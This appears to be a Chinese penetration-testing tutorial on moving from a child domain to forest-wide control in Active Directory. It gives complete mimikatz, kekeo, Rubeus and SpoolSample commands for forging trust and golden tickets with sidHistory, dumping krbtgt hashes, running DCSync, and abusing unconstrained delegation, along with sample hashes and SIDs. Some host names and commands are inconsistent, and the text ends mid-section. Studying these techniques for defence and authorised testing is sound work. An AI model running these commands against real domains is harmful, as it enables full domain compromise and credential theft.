一、 獲取域信息
在域中,EnterPrise Admins組(僅出現在在林的根域中)的成員具有對目錄林中的所有域的完全控制權限。在默認情況下該組包含所有域控制器上具有Administrators權限的用戶。
1.查看sales域內計算機當前權限

2.查看payload域內計算機當前權限

二、 利用域信任密鑰獲取目標域的權限
查看域內信任關系
nltest /domain_trusts
父域的域控制器:win-dc.payload.com
子域的域控制器:win-dc01.selas.payload.com
子域內的計算機:win-test.selas.payload.com
子域內的普通用戶:selas\test

使用mimikatz在域控制器中導出並偽造信任密鑰,使用kekeo請求訪問目標域中目標服務的TGS票據。使用這兩個工具便可以創建具有sidHistory的票據,對目標域進行安全測試。
在子域win-dc01.selas.payload.com中使用mimikatz獲取需要的信息。
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:tset$" "lsadump::trust /patch" exit


Domain : SELAS / S-1-5-21-3286823404-654603728-2254694439
Current domain: SELAS.PAYLOAD.COM (SELAS / S-1-5-21-3286823404-654603728-2254694439) # 當前域SID
Domain: PAYLOAD.COM (PAYLOAD / S-1-5-21-1150252187-1650404275-3011793806)
[ In ] SELAS.PAYLOAD.COM -> PAYLOAD.COM # 目標域SID
* aes256_hmac 23bdaeea3fbcc0c487ae2a0c81d252850b5248a54d82c1b6ee45e499382eabee
* aes128_hmac 3efae96e5603cee7a2e7fc0c1b7d2d4b
* rc4_hmac_nt f430c584462c52bc2291fea8705031c5 # 信任密鑰
獲取信息后,在域內計算機(win-test.selas.payload.com)中使用普通用戶(selas\test)權限執行如下命令創建信任票據。
mimikatz "kerberos::golden /domain:selas.payload.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /rc4:f430c584462c52bc2291fea8705031c5 /user:DarthVader /service:krbtgt /target:payload.com /ticket:payload.kiribi" exit
domian:指定當前域名
sid:當前域SID
sids:目標域SID(519,表示創建的用戶屬於目標域的管理員組)
rc4:指定信任密鑰
user:指定偽造的用戶名
service:指定要訪問的服務
target:指定目標域名
ticket:指定保存票據的文件名

利用剛剛創建的payload.kiribi的信任票據獲取目標域中目標服務的TGS並保存到文件中。
Asktgs payload.kiribi CIFS/WIN-DC.payload.com
然后將獲取的TGS票據注入內存
kiribikator lsa CIFS.win-dc.payload.com.kiribi
最后輸入如下命令,訪問目標服務
dir \\win-dc\c$
三、 利用krbtgt散列值獲取目標域的權限
使用mimikatz可以在構建黃金票據時設置sidHistory。因此,如果獲取了任意域的krbtgt散列值,就可以利用SidHistory獲得該林的完整權限。
首先使用powerview在域內計算機(win-test.selas.payload.com)中使用普通用戶selas\test權限獲取當前域和目標域的SID,獲取域用戶SID的常用命令有“wmic useraccount get name,sid” "whoami 、user" “adfind.exe -sc u:test|findstr sid” "powerview"等。
.\powerview.ps1
Get-DomainTrust API
當前域SID : S-1-5-21-3286823404-654603728-2254694439
目標域SID : S-1-5-21-1150252187-1650404275-3011793806

在域控制上使用mimikatz獲取krbtgt散列值。
mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit
或者
sekurlsa::krbtgt
NTLM : ffc79c6f14bb2c39e6ceab183cefc9c5
rc4_hmac_nt : ffc79c6f14bb2c39e6ceab183cefc9c5

在子域內的計算機上(win-test.selas.payload.com)上使用普通用戶權限(selas\test)構造並注入黃金票據,獲取目標域的權限。
mimikatz "kerberos::golden /user:administrator /domain:selas.payload.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /krbtgt:ffc79c6f14bb2c39e6ceab183cefc9c5 /ptt" exit
ptt:表示票據注入內存

訪問目標服務
dir \\win-dc.payload.com\c$
四、外部信任和林信任
1.利用信任關系獲取信任域的信息
因為外部信任和林信任中存在SID過濾機制,所以無法利用SID History獲取權限。
使用adfind工具獲取信任域的完整信息例如獲取administrator用戶的詳細信息如下:
輸入如下命令,導出全部用戶信息
adfind -h payload.com -sc u:administrator
通過對比目標域和當前域的用戶列表,找出同時加入這兩個域的用戶。

2.使用powerview定位敏感用戶
執行如下命令,列出目標域用戶組中的外部用戶
.\powerview.ps1
Get-DomainForeignGroupMember -Domain payload.com
五、利用無約束委派和MS-RPRN獲取信任林權限
如果攻擊者已經獲取了域林中某個域控制器的權限,或者配置了無約束委派的任何服務器的權限,就可以使用MS-RPRN,使信任林的域控制器向已被控的服務器發送身份認證請求,利用捕獲的票據獲取信任林內任意用戶的散列值。
首先,在dc.a.com上使用rubeus工具,監控身份認證請求,interval參數用於設置監控的時間間隔,單位為秒;filteruser用於指定滲透測試中需要關注的用戶。
rubeus.exe monitor /interval:5 /filteruser:BDC$
開啟監聽后,在命令行環境下執行如下命令,使用SpoolSample工具讓目標域控制器bcd.b.com向dc.a.com發送身份認證請求。
SpoolSample.exe bdc.b.com dc.a.com
此時,rubeus會捕獲來自bdc.b.com的認證請求,保存其中的TGT數據。
清除TGT數據文件中多余的換行符,然后使用rubeus工具將票據注入內存。
Rubeus.exe ptt /ticket:<TGT 數據>
使用mimikatz獲取目標域的krbtgt散列值。使用mimikatz的dcsync功能,模擬域控制器向目標域控制器發送請求(獲取賬戶密碼)
mimikatz "lsadump::dcsync /domain:b.com /user:b\krbtgt" exit
構造黃金票據並將其注入內存,獲取目標域控制器的權限。
mimikatz "kerberos::golden /user:administrator /domain:b.com /sid: /rc4: /ptt" exit
最后訪問目標服務
dir \\bdc.com\c$
rubeus使用參考:
https://www.anquanke.com/post/id/161781
無約束委派: